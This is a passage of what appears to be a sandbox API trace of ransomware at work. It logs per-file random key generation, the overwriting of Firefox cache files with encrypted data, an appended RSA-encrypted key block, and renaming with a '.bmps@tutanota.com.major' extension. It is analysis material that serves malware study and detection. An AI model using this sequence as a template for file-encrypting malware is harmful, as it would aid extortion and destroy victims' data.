"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8c23783988fe2dc0bdae02b1a35ccd9facf16b36"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C23783988FE2DC0BDAE02B1A35CCD9FACF16B36.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8c23783988fe2dc0bdae02b1a35ccd9facf16b36.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0261.949] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0261.949] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8A7DB491838C072FD03CFE63FDC27186914EF89D", dwFileAttributes=0x80) returned 1 [0261.949] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0xd34, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0xd34, lpOverlapped=0x0) returned 1 [0261.961] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.961] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440570*, nNumberOfBytesToWrite=0xd34, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440570*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd34, lpOverlapped=0x0) returned 1 [0261.962] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd34 [0261.962] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.962] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.963] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0261.963] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0261.963] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0261.963] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qkIdFGLhSdx2ZZPd27crPeaJ1AehZ2NVpidOxvgpMJ9uC2i3v6l71lfNHk9sLeXI\nZUX+Y1RqN2ReDFYTasB07Pn48ylAjraAZRVjqTA40g/3NgL+AePr2RJq5V376X++\n5Qq8v5QByyRMmzw4b+iB/0R6ZEc1jvIMyYnfEbLJrpwi1uAQlrZjsZzqnxhRZrdi\nclfFtVfLvOPxi0+s+lkd3xvIZZNwqkVonAio+daX/z9MTm8HGQz5vfONeF/YiY1J\n6MCmVntAVDitRmOxHl1+UjI1m173SDOTo6rF/u2BJO2DV2nchFEjflIQpPrWaGp5\nK4XugSsOz0ByP3bSDlb7Kw==\n", pcchString=0x2e3f9a8) returned 1 [0261.963] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0261.963] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.963] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.963] CloseHandle (hObject=0x1b84) returned 1 [0261.964] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8A7DB491838C072FD03CFE63FDC27186914EF89D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8a7db491838c072fd03cfe63fdc27186914ef89d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8A7DB491838C072FD03CFE63FDC27186914EF89D.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8a7db491838c072fd03cfe63fdc27186914ef89d.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0261.966] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0261.966] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\89A941BEB3D674DAC6782F12BB674DD3A505FDC7", dwFileAttributes=0x80) returned 1 [0261.966] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0261.967] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.967] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440738*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440738*, lpNumberOfBytesWritten=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0261.967] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xefa [0261.967] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.967] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.968] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0261.968] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0261.968] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0261.968] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eZnhMjGEW1Nyghc9HGO0Va1rnADr1cUnCzQWyTSh2Nq27AX7NQLaCqRJcAEjpWXj\nXdBEUHxg3bJnXhu0lnd1LEb7rebpnv0lc6Ztc0mHhYQXysebTly6DjEITyrTrtj/\nlAs+bXMak+A7E5XekEglg5lXp/DUaWPHqeWL9DvnySMd/Ql0oq2YiC8WIWS1yOel\nLhchsEq0XRoGRUv3zdCUe+FFOey7RfrZqKGl/g3aJwXF0x2Ru7TKc+d8uTvv/8a7\nRPjaEY6QBpHOIan5DQvpngYzwUd1P671H4YbRZfUDkeleDxLXnhjTZIztxOmFZLm\nOgrloZylLUNxbZ+0BnpFQQ==\n", pcchString=0x2e3f9a8) returned 1 [0261.968] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0261.968] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.968] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.969] CloseHandle (hObject=0x1b84) returned 1 [0261.969] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\89A941BEB3D674DAC6782F12BB674DD3A505FDC7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\89a941beb3d674dac6782f12bb674dd3a505fdc7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\89A941BEB3D674DAC6782F12BB674DD3A505FDC7.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\89a941beb3d674dac6782f12bb674dd3a505fdc7.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0261.971] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0261.971] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8857F3033ADD4EB28817638302A934EFC707BBDC", dwFileAttributes=0x80) returned 1 [0261.971] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0x4c7f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0x4c7f, lpOverlapped=0x0) returned 1 [0262.131] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-19583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.131] WriteFile (in: hFile=0x1b84, lpBuffer=0x3446048*, nNumberOfBytesToWrite=0x4c7f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4c7f, lpOverlapped=0x0) returned 1 [0262.131] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4c7f [0262.131] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.131] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.132] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.132] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.132] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.132] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="M7IBh9f5VF8OSPRm29892gDnBdfhKnCWYmjfIhuiOhRzhKX27IND1Us4+l35epOU\n4V+l72W8tXJtQlwvNu58+MAkGDkdFxQxu84OKOiH0Ue3i650vb72THjgLF0gBgPI\nZvmVasP83k3UE+xruEG2b96IOwxVIsUI9fLvlb0LT3R9nMrl8RlmXcB6jKmgQwaV\niPwmZ1eGiz/SPzr9QSTQui/fcuqwpd149j8Tbg9SdGvtP4UWf6eanGSqw58fvUag\nsxJHXqdE466A4xB9RF/WKxoG4aWKWoNDFkGxkcoX02cJbEMtzIgMatDCj2Zn22WK\nlcr9MX8ApKK9XINSGTiHZQ==\n", pcchString=0x2e3f9a8) returned 1 [0262.132] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.133] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.133] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.133] CloseHandle (hObject=0x1b84) returned 1 [0262.133] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8857F3033ADD4EB28817638302A934EFC707BBDC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8857f3033add4eb28817638302a934efc707bbdc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8857F3033ADD4EB28817638302A934EFC707BBDC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8857f3033add4eb28817638302a934efc707bbdc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.135] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.135] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\87BA6D21D6EF49198373FC83CFB347603D5EB25D", dwFileAttributes=0x80) returned 1 [0262.135] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0262.136] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.136] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0262.137] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0262.137] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.137] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.137] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.137] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.137] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.137] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dUl0hNm6vns/X8PIqk+SD65qdcQGtDE804POsQME7Im+q9cmES7X9GUczH1qTXV9\nB/FQTGaDKSa+TsFHNHIi65P3h7Ad7eYkgkwc+A+3U23pJJ0nmKENxAc1omFecURM\nmTFNro8/LhasspQvWklXknx6w7NRECNYGaGUdMWziU/PFNMDMmO3guZZDDkjZmQW\nPqQ/Y91T1yAGN9bqAFkIiFBNatrMk8yqZTmd9ajstPt7cDDY4MUEREj8P2J2/7NO\nP5pFBRUQo6My7APUdAxuL1oLKUAnDkoS9Gbo7CUeMxsn0BOnJz9hx0kZbW2rMFaB\n7dZdzx8rE8r0hcXCZ721Xg==\n", pcchString=0x2e3f9a8) returned 1 [0262.138] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.138] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.138] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.138] CloseHandle (hObject=0x1b84) returned 1 [0262.138] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\87BA6D21D6EF49198373FC83CFB347603D5EB25D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\87ba6d21d6ef49198373fc83cfb347603d5eb25d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\87BA6D21D6EF49198373FC83CFB347603D5EB25D.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\87ba6d21d6ef49198373fc83cfb347603d5eb25d.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.140] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.140] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\87831840EB1AF4B7388E370BA94421C5897B8373", dwFileAttributes=0x80) returned 1 [0262.141] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x5c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c8, lpOverlapped=0x0) returned 1 [0262.178] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.178] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x5c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c8, lpOverlapped=0x0) returned 1 [0262.179] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c8 [0262.179] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.179] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.179] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.179] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.180] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.180] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8R9a6buT6NIOTAeKRxzfeRNRJ9GvRm3GOY1oPKLLvF4eL39MCN6FdWnFklsMazcj\nWj+VNY7CVMLTXSau7A4ZrrppuTGuF9Tk80WIwFoI5oXPrbIDcZVeY8DHyiB2mRFN\nLcJnXFuZZ63Zg0kK8Nv84XFAaZ/IKZyKg84FNTIc9m8f7R/FRjwWFgM+H0zeQYVt\nBGOSfAvmUezo5fgsPJReNfZ7PnlRgzxlUN1uN51mwq3u6Noz9wro614Ykft4YmQh\nBBu96dQ5yo4qwh+T1ahMVZzrdGeXZ7zC3W1O/pYxDbBaXn01bO9RxGE7J4dtOdPN\nj7JrwW0Bu75g2MLzHLVaHQ==\n", pcchString=0x2e3f9a8) returned 1 [0262.180] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.180] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.180] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.180] CloseHandle (hObject=0x1b84) returned 1 [0262.181] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\87831840EB1AF4B7388E370BA94421C5897B8373" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\87831840eb1af4b7388e370ba94421c5897b8373"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\87831840EB1AF4B7388E370BA94421C5897B8373.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\87831840eb1af4b7388e370ba94421c5897b8373.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.186] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.186] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\856994BF71BEE39831BB203883640C63D2A3EB13", dwFileAttributes=0x80) returned 1 [0262.187] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0xb9e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0xb9e, lpOverlapped=0x0) returned 1 [0262.294] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2974, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.294] WriteFile (in: hFile=0x1b84, lpBuffer=0x34403d8*, nNumberOfBytesToWrite=0xb9e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34403d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb9e, lpOverlapped=0x0) returned 1 [0262.295] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb9e [0262.295] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.295] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.295] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.295] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.296] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.296] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rLpIeJG8dif7PYhXfOGe+maqb7fpLlr/CBj7L1aLOCxRKVpxirQvlaGt2r4sUaHO\nQ642vBfHt4VouzsgITvMJmrJwGGhIoRDIEQs2wGdASpX3VIg7s8Onzwh29208wch\nQ/KD/lep6TtdKyPju7BJRB/fsOsmYKSujxI2bcZv+fbWJWqo+wusu200q7T4gQDV\nwOiOVVqJjhonO1oSiQp0xrSMtp9euXsZV09oktleIS3aZfm0dcSUWna7Dr74e24T\nQxFqjurEqB3BOciESuCII02HQSKEH0DNkHOgjOz8/viTbXstzTtshh885wWn0UeQ\n0lx3hseKfyaxxPU9HYwLgQ==\n", pcchString=0x2e3f9a8) returned 1 